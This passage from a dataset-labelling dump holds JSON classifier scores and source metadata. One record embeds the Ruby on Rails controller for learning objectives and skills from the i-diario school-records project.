"Transcript / Interview": 0.00027422899225851326, "Tutorial / How-To Guide": 0.0438494921287042, "User Reviews": 0.00011572699733790659, "NONE": 0.9100199627841642}, "structured_records": {"false": 0.7518425097132511, "true": 0.2481574902867489}, "procedural_steps": {"false": 0.6911340846739182, "true": 0.3088659153260817}, "worked_solution": {"false": 0.999463969166914, "true": 0.0005360308330859063}, "contextual_dialogue": {"false": 0.9999858931522683, "true": 1.4106847731752755e-05}, "content_quality": {"-2": 0.011380853126101504, "-1": 0.07849733770457817, "0": 0.3168847648123485, "1": 0.4506212192856023, "2": 0.1426158250713696}, "noise_severity": {"0": 0.562060672990293, "1": 0.36334175227634885, "2": 0.06629125702645164, "3": 0.005066096458932783, "4": 0.003240221247973789}, "missing_content_severity": {"0": 0.9893890958465793, "1": 0.00840051206684018, "2": 0.0015763169842588306, "3": 0.00045007193824414126, "4": 0.0001840031640775736}, "factual_density": {"0": 0.004631638888915615, "1": 0.014367886666952087, "2": 0.17223263684906473, "3": 0.4882524405104705, "4": 0.32051539708459703}, "pretraining_utility": {"-2": 0.0208197586481082, "-1": 0.15897288654839406, "0": 0.39260781709371306, "1": 0.37926846811656606, "2": 0.048331069593218666}, "math_density": {"0": 0.9978360528022019, "1": 0.0017188417373446099, "2": 0.00019300692987679702, "3": 8.772355938733538e-05, "4": 0.00016437497118940836}, "code_density": {"0": 0.0006107939905531637, "1": 0.0011822587229769028, "2": 0.02714328091859234, "3": 0.26796356632644586, "4": 0.7031001000414318}, "reasoning_density": {"0": 0.884023706586806, "1": 0.08754948518292797, "2": 0.02549835785922843, "3": 0.0020351399406192774, "4": 0.0008933104304184188}, "education_level": {"none": 0.0016845762578307055, "0": 0.002222037034275309, "1": 0.00984260009330219, "2": 0.4318913273713607, "3": 0.43764961675680353, "4": 0.11670984248642757}, "creative_writing_quality": {"not_applicable": 0.9988671447069901, "-2": 0.00012520309898702013, "-1": 0.00027276207423293557, "0": 0.0005747411327568312, "1": 0.00012053261913810633, "2": 3.9616367895022465e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.929562979334598e-05, "Art & Design": 0.00011257483038112531, "Law & Crime": 7.686650620339022e-05, "Education & Careers": 7.497956213826745e-05, "Entertainment & Media": 8.347899205695663e-05, "Fashion & Beauty": 6.355018117034886e-05, "Business, Economics & Finance": 0.0005441694815063946, "Food & Dining": 5.2622709659611754e-05, "Games & Gaming": 0.000553506414661431, "Electronics & Hardware": 0.0004216794262816049, "Health, Healthcare & Wellness": 6.800441795672258e-05, "History & Geography": 7.211841884617784e-05, "Home, Pets & Hobbies": 5.53845389951881e-05, "Industry & Production": 7.712302644354873e-05, "Language, Literature & Philosophy": 6.797287377144701e-05, "Politics & Government": 4.705676918869465e-05, "Religion & Spirituality": 5.799964295249516e-05, "Science, Mathematics & Engineering": 0.00022305404323019287, "Relationships & Community": 3.691142462531542e-05, "Software Usage & Applications": 0.011854052903579396, "Programming & Software Engineering": 0.9846183464729974, "Sports & Fitness": 9.428386544790852e-05, "Vehicles & Transportation": 4.25028838597359e-05, "Travel & Tourism": 8.998491311417723e-05, "Other / Uncovered Subject": 0.00040388810120439234, "Unknown / Insufficient Content": 0.00011859196993462348}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00042703356683391927, "Art & Design": 0.0004835019440554075, "Law & Crime": 0.0005995246117527669, "Education & Careers": 0.0002500049773378339, "Entertainment & Media": 0.0005606410428304611, "Fashion & Beauty": 0.00017181115713176592, "Business, Economics & Finance": 0.001805662366756055, "Food & Dining": 0.00015932399089844642, "Games & Gaming": 0.0009830144659875404, "Electronics & Hardware": 0.002020694024395576, "Health, Healthcare & Wellness": 0.00019915660825622726, "History & Geography": 0.0001806311624928804, "Home, Pets & Hobbies": 0.00014216096772800025, "Industry & Production": 0.00015402690341988491, "Language, Literature & Philosophy": 0.00012209085627983593, "Politics & Government": 0.00015488330263977473, "Religion & Spirituality": 0.0001666093539351747, "Science, Mathematics & Engineering": 0.0003567558378370901, "Relationships & Community": 0.0001140948156767086, "Software Usage & Applications": 0.04564559018093259, "Programming & Software Engineering": 0.01805110603381971, "Sports & Fitness": 0.00016324510460449476, "Vehicles & Transportation": 8.013452912321527e-05, "Travel & Tourism": 0.00020626503317805274, "Other / Uncovered Subject": 0.0003766384271387823, "NONE": 0.9264253987349578}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11246, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11246, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:07.816912+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "8f13f7c5-0a79-4a97-8649-a2157e2fd64d", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "589532559ec84533ee6e7cb11663f343179d7d2702990928dfd6913914779745", "source_metadata": {"uuid": "8f13f7c5-0a79-4a97-8649-a2157e2fd64d", "repo_name": "zheref/Li5-SDK", "relative_path": "fastlane-legacy/Fastfile", "category": "TOOL", "algo_rel_score": 0.9359080195426941, "quality_score": 6.366562843322754, "source_meta": {"github_metadata": {"branch": "sandbox/uq-av-asset-dw-pls-preemptive-asset", "commit_count": 101, "repo_created_at": "2017-08-16T23:24:05.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "88d2cd1bb523f86820cea350449f6e27b703efa1", "size_bytes": 8899, "file_timestamp": 1502932436, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "c6343a4045ef242f5765f3aebf1d8183f18aab32"}}, "parsed_source_meta": {"github_metadata": {"branch": "sandbox/uq-av-asset-dw-pls-preemptive-asset", "commit_count": 101, "repo_created_at": "2017-08-16T23:24:05.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "88d2cd1bb523f86820cea350449f6e27b703efa1", "size_bytes": 8899, "file_timestamp": 1502932436, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "c6343a4045ef242f5765f3aebf1d8183f18aab32", "url": "https://github.com/zheref/Li5-SDK/blob/c6343a4045ef242f5765f3aebf1d8183f18aab32/fastlane-legacy/Fastfile"}, "gpt4o_tokens": 2463, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.6345938254715603, "noise_severity": 0.5240834406979455, "missing_content_severity": 0.01363937450640056, "factual_density": 3.105652070234881, "pretraining_utility": 0.2753182034583929, "math_density": 0.0030255261600178433, "code_density": 3.671759919705226, "reasoning_density": 0.14822486244491634, "education_level": 2.657890894949681, "creative_writing_quality": -0.28547592907437114}, "score_applicability": {"education_level": 0.9983154237421693, "creative_writing_quality": 0.0011328552930099157}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/portabilis/i-diario/blob/ba507eef6260baeafd74209c101c1283ba8b38c4/app/controllers/learning_objectives_and_skills_controller.rb", "id": "ruby-0-6c8885e9581b2f4b2b1c98db73875156", "text": "class LearningObjectivesAndSkillsController < ApplicationController\n has_scope :page, default: 1\n has_scope :per, default: 10\n\n def index\n @learning_objectives_and_skills = apply_scopes(LearningObjectivesAndSkill.ordered)\n\n group_children_education = GeneralConfiguration.current.group_children_education\n\n if group_children_education\n @grades = GroupChildEducations.to_select + ElementaryEducations.to_select[1..-1] +\n AdultAndYouthEducations.to_select[1..-1]\n else\n @grades = ChildEducations.to_select + ElementaryEducations.to_select[1..-1] +\n AdultAndYouthEducations.to_select[1..-1]\n end\n\n authorize @learning_objectives_and_skills\n end\n\n def new\n @learning_objectives_and_skill = LearningObjectivesAndSkill.new\n\n authorize @learning_objectives_and_skill\n end\n\n def create\n @learning_objectives_and_skill = LearningObjectivesAndSkill.new(learning_objectives_and_skills_params)\n\n authorize @learning_objectives_and_skill\n\n if @learning_objectives_and_skill.save\n respond_with @learning_objectives_and_skill, location: learning_objectives_and_skills_path\n else\n @grades = ListGradesByStepBuilder.call(\n @learning_objectives_and_skill.step\n ).to_json\n render :new\n end\n end\n\n def edit\n @learning_objectives_and_skill = LearningObjectivesAndSkill.find(params[:id])\n\n @grades = ListGradesByStepBuilder.call(\n @learning_objectives_and_skill.step\n ).to_json\n\n authorize @learning_objectives_and_skill\n end\n\n def update\n @learning_objectives_and_skill = LearningObjectivesAndSkill.find(params[:id])\n\n authorize @learning_objectives_and_skill\n\n if @learning_objectives_and_skill.update(learning_objectives_and_skills_params)\n respond_with @learning_objectives_and_skill, location: learning_objectives_and_skills_path\n else\n @grades = ListGradesByStepBuilder.call(\n @learning_objectives_and_skill.step\n ).to_json\n\n render :edit\n end\n end\n\n def destroy\n @learning_objectives_and_skill = LearningObjectivesAndSkill.find(params[:id])\n\n authorize @learning_objectives_and_skill\n\n @learning_objectives_and_skill.destroy\n\n respond_with(\n @learning_objectives_and_skill,\n location: learning_objectives_and_skills_path,\n alert: @learning_objectives_and_skill.errors.to_a\n )\n end\n\n def history\n @learning_objectives_and_skill = LearningObjectivesAndSkill.find params[:id]\n\n authorize @learning_objectives_and_skill\n\n respond_with @learning_objectives_and_skill\n end\n\n def contents\n @contents = []\n\n query = LearningObjectivesAndSkill.ordered\n query = search_query('experience_fields', query) if params[:experience_fields].present?\n query = search_query('disciplines', query) if params[:disciplines].present?\n query = search_query('group_child_schools', query) if params[:group_child_schools].present?\n\n query.each do |skill|\n @contents << {\n id: skill.id,\n description: \"(#{skill.code}) #{skill.description}\"\n }\n end\n\n respond_with(contents: @contents)\n end\n\n def fetch_grades\n return if params[:step].blank?\n\n render json: ListGradesByStepBuilder.call(params[:step], false)\n end\n\n private\n\n def learning_objectives_and_skills_params\n parameters = params.require(:learning_objectives_and_skill).permit(\n :code,\n :description,\n :step,\n :field_of_experience,\n :discipline,\n :thematic_unit,\n :grades\n )\n\n return parameters if parameters[:step].blank?\n\n parameters[:grades] = params.require(:learning_objectives_and_skill)[:grades].split(',')\n parameters\n end\n\n def grades_query\n <<-SQL\n AND grades @> ARRAY[?]::varchar[])\n SQL\n end\n\n def disciplines_query\n <<-SQL\n (discipline = ?\n SQL\n end\n\n def field_of_experience_query\n <<-SQL\n (field_of_experience = ?\n SQL\n end\n\n def search_query(type, query)\n query_builder = ''\n params_builder = []\n\n (params[type] || []).each do |index, value|\n query_builder += ' OR ' if index.to_i > 0\n query_builder += type == 'disciplines' ? disciplines_query : field_of_experience_query\n query_builder += value[:grades].present? ? grades_query : ')'\n params_builder << value[:type]\n params_builder << value[:grades] if value[:grades].present?\n end\n\n query.where(query_builder, *params_builder)\n end\nend\n", "text_preview": "class LearningObjectivesAndSkillsController < ApplicationController has_scope :page, default: 1 has_scope :per, default: 10 def index @learning_objectives_and_skills = apply_scopes(LearningObjectivesAndSkill.ordered) group_children_educatio", "input_sha256": "65d7d7816b1ba31f57be6d582b97e42f37b20f10287b79c74402a2cc6be4fb08", "text_sha256": "6c8885e9581b2f4b2b1c98db73875156ae98fcfb8d0f9c193d9ae98a44702054", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16033, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.8702508969627563, "noise_severity": 0.005007190609782633, "missing_content_severity": 0.010592822859542399, "factual_density": 3.2245834174258925, "pretraining_utility": 0.35766905939929516, "math_density": 0.03794564752426844, "code_density": 3.9061149920765477, "reasoning_density": 0.33123401267575275, "education_level": 2.2488299054217986, "creative_writing_quality": -0.23498295958646373}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.017891175681060134, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9977983755249852, "secondary": 0.9729578721528149, "tertiary": 0.9916269250373995, "structured_records": 0.01669594913349054, "procedural_steps": 0.0010624333705032507, "worked_solution": 0.0008033223772593589, "contextual_dialogue": 5.498962056273695e-06, "content_quality": 0.515285896294497, "noise_severity": 0.9958273411585145, "missing_content_severity": 0.991172647617048, "factual_density": 0.353819514521577, "pretraining_utility": 0.4903814885916802, "math_density": 0.9683786270631096, "code_density": 0.9217624933971229, "reasoning_density": 0.7239716561035394, "education_level": 0.6927249574298938, "creative_writing_quality": 0.9997478547167211, "primary_topic": 0.947101866389683, "secondary_topic": 0.4860271815762424}, "probability_margin": {"primary": 0.9968415283572829, "secondary": 0.9620312210953658, "tertiary": 0.988111330558355, "education_level": 0.5231400093252874, "creative_writing_quality": 0.9996910379319006, "primary_topic": 0.9024545788320004, "secondary_topic": 0.12393799766937824}, "raw_probabilities": {"primary": {"Academic Writing": 1.9703474372867943e-05, "Content Listing": 1.809646734399153e-05, "Creative Writing": 7.39534505142769e-06, "Customer Support Page": 4.210051183885898e-06, "Q&A Forum": 5.77303940236514e-06, "Discussion Thread": 3.154969370978861e-06, "Comment Section": 5.079383311621844e-06, "Missing Content": 1.188542981115619e-05, "Knowledge Article": 3.173559823241939e-05, "Legal Notices": 1.3866299032031346e-05, "News Article": 2.0531852696373253e-06, "Organizational Announcement": 5.421233813953438e-06, "Nonfiction Writing": 5.482713553787084e-06, "Organizational About Page": 5.927621931951375e-06, "Personal About Page": 4.600443392212084e-06, "Personal Blog": 3.6395765186377968e-06, "Product Page": 3.7885583013943864e-06, "Spam / Ads": 4.624407738097972e-06, "Structured Data": 0.0008290059390296678, "Technical Writing": 0.9978901098781108, "Transcript / Interview": 6.557920043831458e-06, "Tutorial / How-To Guide": 6.641880005086415e-05, "User Reviews": 2.888144304521033e-06, "Other / Unknown": 0.0010485815208278854}, "secondary": {"Academic Writing": 0.0001537517223881014, "Content Listing": 0.00022715924786610367, "Creative Writing": 9.622881282427589e-05, "Customer Support Page": 5.4310876144210154e-05, "Q&A Forum": 3.856624295963056e-05, "Discussion Thread": 3.6897033777093294e-05, "Comment Section": 7.476182870869e-05, "Missing Content": 0.00022645573112709346, "Knowledge Article": 0.00022278736704932594, "Legal Notices": 0.000127604281862441, "News Article": 5.905355307270919e-05, "Organizational Announcement": 5.708737987580535e-05, "Nonfiction Writing": 5.2357131306514924e-05, "Organizational About Page": 6.714612826022428e-05, "Personal About Page": 5.032798137860741e-05, "Personal Blog": 4.935911592483562e-05, "Product Page": 3.31719752406043e-05, "Spam / Ads": 6.104734702027645e-05, "Structured Data": 0.012053406384415226, "Technical Writing": 0.011816755844960223, "Transcript / Interview": 7.392758511104639e-05, "Tutorial / How-To Guide": 0.000259455302682809, "User Reviews": 2.3753646263118213e-05, "NONE": 0.974084627479781}, "tertiary": {"Academic Writing": 7.026014986365207e-05, "Content Listing": 0.00012963126580300597, "Creative Writing": 3.8677353536523484e-05, "Customer Support Page": 2.0997370989887532e-05, "Q&A Forum": 1.5045917049461026e-05, "Discussion Thread": 1.3084604237107123e-05, "Comment Section": 3.3617538563508704e-05, "Missing Content": 0.00014239877555433192, "Knowledge Article": 0.00014801898816864555, "Legal Notices": 9.775460309523109e-05, "News Article": 2.4588491268281595e-05, "Organizational Announcement": 2.2638093405739302e-05, "Nonfiction Writing": 2.83294122011563e-05, "Organizational About Page": 4.000932484505128e-05, "Personal About Page": 2.0014804875951934e-05, "Personal Blog": 1.7427248244322482e-05, "Product Page": 1.700311086861432e-05, "Spam / Ads": 2.77301596713143e-05, "Structured Data": 0.0038644726024861576, "Technical Writing": 0.0030674781943982464, "Transcript / Interview": 3.052230933160815e-05, "Tutorial / How-To Guide": 0.00014352643590633096, "User Reviews": 1.0970084794655723e-05, "NONE": 0.9919758031608411}, "structured_records": {"false": 0.9833040508665094, "true": 0.01669594913349054}, "procedural_steps": {"false": 0.9989375666294967, "true": 0.0010624333705032507}, "worked_solution": {"false": 0.9991966776227407, "true": 0.0008033223772593589}, "contextual_dialogue": {"false": 0.9999945010379437, "true": 5.498962056273695e-06}, "content_quality": {"-2": 0.01025847364798738, "-1": 0.05201002881852891, "0": 0.22090753516090378, "1": 0.49087005166789993, "2": 0.22595391070468002}, "noise_severity": {"0": 0.995966849670186, "1": 0.003393059199407749, "2": 0.0004034773440057861, "3": 0.00013927842323886532, "4": 9.733536316167912e-05}, "missing_content_severity": {"0": 0.9940775529585979, "1": 0.0025965617268869116, "2": 0.0022524321215857093, "3": 0.0008024158822342513, "4": 0.0002710373106953289}, "factual_density": {"0": 0.012502608009401405, "1": 0.02058760880421904, "2": 0.13365839043954103, "3": 0.39632654324476274, "4": 0.4369248495020758}, "pretraining_utility": {"-2": 0.009626836772847284, "-1": 0.10768290359964972, "0": 0.4592466219057588, "1": 0.3622816388988488, "2": 0.061161998822895317}, "math_density": {"0": 0.9721064266855316, "1": 0.0230275270269837, "2": 0.0018158895320398761, "3": 0.0009142855885745494, "4": 0.0021358711668703354}, "code_density": {"0": 0.00023271731411162965, "1": 0.00042564217155121106, "2": 0.01044220689431116, "3": 0.07079279836373004, "4": 0.918106635256296}, "reasoning_density": {"0": 0.813743254103758, "1": 0.07308109506871563, "2": 0.0879734908363862, "3": 0.018602704030296072, "4": 0.006599455960844125}, "education_level": {"none": 0.0010067291593949168, "0": 0.0013780356810895267, "1": 0.011740871202374596, "2": 0.7439374645249115, "3": 0.2207974551996241, "4": 0.021139444232605435}, "creative_writing_quality": {"not_applicable": 0.9997898789306009, "-2": 2.8619225717602932e-05, "-1": 4.257884380307402e-05, "0": 9.884099870032159e-05, "1": 2.9721577877184898e-05, "2": 1.0360423301090436e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.051498665938574e-05, "Art & Design": 9.790811475595253e-05, "Law & Crime": 9.60398592458299e-05, "Education & Careers": 0.04668183115807935, "Entertainment & Media": 7.383197508875435e-05, "Fashion & Beauty": 8.651063060689228e-05, "Business, Economics & Finance": 0.00024572654004783716, "Food & Dining": 9.309589871824935e-05, "Games & Gaming": 0.00010666857615149174, "Electronics & Hardware": 9.029460773546815e-05, "Health, Healthcare & Wellness": 8.92960652063778e-05, "History & Geography": 8.812537170765039e-05, "Home, Pets & Hobbies": 6.180938077208956e-05, "Industry & Production": 7.112838968775826e-05, "Language, Literature & Philosophy": 8.045533814741429e-05, "Politics & Government": 7.7679231944941e-05, "Religion & Spirituality": 6.286125119016236e-05, "Science, Mathematics & Engineering": 0.00013380397994746147, "Relationships & Community": 6.442389888874057e-05, "Software Usage & Applications": 0.00035187659542325626, "Programming & Software Engineering": 0.9491364099900798, "Sports & Fitness": 9.260988536827892e-05, "Vehicles & Transportation": 4.360752340637145e-05, "Travel & Tourism": 9.456925076924266e-05, "Other / Uncovered Subject": 0.001804031441315143, "Unknown / Insufficient Content": 0.0001248900590562667}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004895564256804872, "Art & Design": 0.0008287771615484519, "Law & Crime": 0.0009513524172258063, "Education & Careers": 0.38185736923085484, "Entertainment & Media": 0.000702280498991584, "Fashion & Beauty": 0.00045293389312744297, "Business, Economics & Finance": 0.0012717360424156579, "Food & Dining": 0.00046392437585060785, "Games & Gaming": 0.0005927424960019456, "Electronics & Hardware": 0.0007714138445407732, "Health, Healthcare & Wellness": 0.0006865570533297785, "History & Geography": 0.0005204650597148033, "Home, Pets & Hobbies": 0.0004984556583218679, "Industry & Production": 0.00043280546026085653, "Language, Literature & Philosophy": 0.0004177876574035523, "Politics & Government": 0.0005242170585601549, "Religion & Spirituality": 0.0005264419663183134, "Science, Mathematics & Engineering": 0.0007434443801776077, "Relationships & Community": 0.000408811564721983, "Software Usage & Applications": 0.0015008847311046662, "Programming & Software Engineering": 0.09542993431140297, "Sports & Fitness": 0.0004886825118383407, "Vehicles & Transportation": 0.0002689685991179089, "Travel & Tourism": 0.0006967465328257874, "Other / Uncovered Subject": 0.0026783441684307217, "NONE": 0.5057953669002331}}, "probabilities": {"primary": {"Academic Writing": 1.9703474372867943e-05, "Content Listing": 1.809646734399153e-05, "Creative Writing": 7.39534505142769e-06, "Customer Support Page": 4.210051183885898e-06, "Q&A Forum": 5.77303940236514e-06, "Discussion Thread": 3.154969370978861e-06, "Comment Section": 5.079383311621844e-06, "Missing Content": 1.188542981115619e-05, "Knowledge Article": 3.173559823241939e-05, "Legal Notices": 1.3866299032031346e-05, "News Article": 2.0531852696373253e-06, "Organizational Announcement": 5.421233813953438e-06, "Nonfiction Writing": 5.482713553787084e-06, "Organizational About Page": 5.927621931951375e-06, "Personal About Page": 4.600443392212084e-06, "Personal Blog": 3.6395765186377968e-06, "Product Page": 3.7885583013943864e-06, "Spam / Ads": 4.624407738097972e-06, "Structured Data": 0.0008290059390296678, "Technical Writing": 0.9978901098781108, "Transcript / Interview": 6.557920043831458e-06, "Tutorial / How-To Guide": 6.641880005086415e-05, "User Reviews": 2.888144304521033e-06, "Other / Unknown": 0.0010485815208278854}, "secondary": {"Academic Writing": 0.00015375172238810142, "Content Listing": 0.0002271592478661037, "Creative Writing": 9.62288128242759e-05, "Customer Support Page": 5.431087614421016e-05, "Q&A Forum": 3.856624295963057e-05, "Discussion Thread": 3.68970337770933e-05, "Comment Section": 7.476182870869002e-05, "Missing Content": 0.0002264557311270935, "Knowledge Article": 0.00022278736704932597, "Legal Notices": 0.00012760428186244101, "News Article": 5.90535530727092e-05, "Organizational Announcement": 5.7087379875805356e-05, "Nonfiction Writing": 5.235713130651493e-05, "Organizational About Page": 6.71461282602243e-05, "Personal About Page": 5.0327981378607415e-05, "Personal Blog": 4.935911592483563e-05, "Product Page": 3.317197524060431e-05, "Spam / Ads": 6.104734702027646e-05, "Structured Data": 0.012053406384415228, "Technical Writing": 0.011816755844960225, "Transcript / Interview": 7.39275851110464e-05, "Tutorial / How-To Guide": 0.00025945530268280906, "User Reviews": 2.3753646263118217e-05, "NONE": 0.9740846274797811}, "tertiary": {"Academic Writing": 7.026014986365208e-05, "Content Listing": 0.000129631265803006, "Creative Writing": 3.867735353652349e-05, "Customer Support Page": 2.0997370989887535e-05, "Q&A Forum": 1.5045917049461028e-05, "Discussion Thread": 1.3084604237107125e-05, "Comment Section": 3.361753856350871e-05, "Missing Content": 0.00014239877555433195, "Knowledge Article": 0.00014801898816864558, "Legal Notices": 9.77546030952311e-05, "News Article": 2.4588491268281598e-05, "Organizational Announcement": 2.2638093405739305e-05, "Nonfiction Writing": 2.8329412201156305e-05, "Organizational About Page": 4.0009324845051285e-05, "Personal About Page": 2.0014804875951937e-05, "Personal Blog": 1.7427248244322486e-05, "Product Page": 1.7003110868614324e-05, "Spam / Ads": 2.7730159671314304e-05, "Structured Data": 0.003864472602486158, "Technical Writing": 0.003067478194398247, "Transcript / Interview": 3.0522309331608156e-05, "Tutorial / How-To Guide": 0.000143526435906331, "User Reviews": 1.0970084794655725e-05, "NONE": 0.9919758031608412}, "structured_records": {"false": 0.9833040508665094, "true": 0.01669594913349054}, "procedural_steps": {"false": 0.9989375666294967, "true": 0.0010624333705032507}, "worked_solution": {"false": 0.9991966776227407, "true": 0.0008033223772593589}, "contextual_dialogue": {"false": 0.9999945010379437, "true": 5.498962056273695e-06}, "content_quality": {"-2": 0.01025847364798738, "-1": 0.05201002881852891, "0": 0.22090753516090378, "1": 0.49087005166789993, "2": 0.22595391070468002}, "noise_severity": {"0": 0.995966849670186, "1": 0.003393059199407749, "2": 0.0004034773440057861, "3": 0.00013927842323886532, "4": 9.733536316167912e-05}, "missing_content_severity": {"0": 0.9940775529585979, "1": 0.0025965617268869116, "2": 0.0022524321215857093, "3": 0.0008024158822342513, "4": 0.0002710373106953289}, "factual_density": {"0": 0.012502608009401405, "1": 0.02058760880421904, "2": 0.13365839043954103, "3": 0.39632654324476274, "4": 0.4369248495020758}, "pretraining_utility": {"-2": 0.009626836772847286, "-1": 0.10768290359964973, "0": 0.4592466219057589, "1": 0.36228163889884885, "2": 0.06116199882289532}, "math_density": {"0": 0.9721064266855316, "1": 0.0230275270269837, "2": 0.0018158895320398761, "3": 0.0009142855885745494, "4": 0.0021358711668703354}, "code_density": {"0": 0.00023271731411162965, "1": 0.00042564217155121106, "2": 0.01044220689431116, "3": 0.07079279836373004, "4": 0.918106635256296}, "reasoning_density": {"0": 0.813743254103758, "1": 0.07308109506871563, "2": 0.0879734908363862, "3": 0.018602704030296072, "4": 0.006599455960844125}, "education_level": {"none": 0.0010067291593949168, "0": 0.0013780356810895267, "1": 0.011740871202374596, "2": 0.7439374645249115, "3": 0.2207974551996241, "4": 0.021139444232605435}, "creative_writing_quality": {"not_applicable": 0.9997898789306007, "-2": 2.8619225717602925e-05, "-1": 4.2578843803074015e-05, "0": 9.884099870032156e-05, "1": 2.972157787718489e-05, "2": 1.0360423301090434e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.051498665938573e-05, "Art & Design": 9.79081147559525e-05, "Law & Crime": 9.603985924582988e-05, "Education & Careers": 0.04668183115807934, "Entertainment & Media": 7.383197508875433e-05, "Fashion & Beauty": 8.651063060689226e-05, "Business, Economics & Finance": 0.0002457265400478371, "Food & Dining": 9.309589871824932e-05, "Games & Gaming": 0.00010666857615149171, "Electronics & Hardware": 9.029460773546814e-05, "Health, Healthcare & Wellness": 8.929606520637778e-05, "History & Geography": 8.812537170765038e-05, "Home, Pets & Hobbies": 6.180938077208955e-05, "Industry & Production": 7.112838968775825e-05, "Language, Literature & Philosophy": 8.045533814741427e-05, "Politics & Government": 7.767923194494098e-05, "Religion & Spirituality": 6.286125119016235e-05, "Science, Mathematics & Engineering": 0.00013380397994746144, "Relationships & Community": 6.442389888874056e-05, "Software Usage & Applications": 0.0003518765954232562, "Programming & Software Engineering": 0.9491364099900795, "Sports & Fitness": 9.260988536827889e-05, "Vehicles & Transportation": 4.3607523406371444e-05, "Travel & Tourism": 9.456925076924263e-05, "Other / Uncovered Subject": 0.0018040314413151426, "Unknown / Insufficient Content": 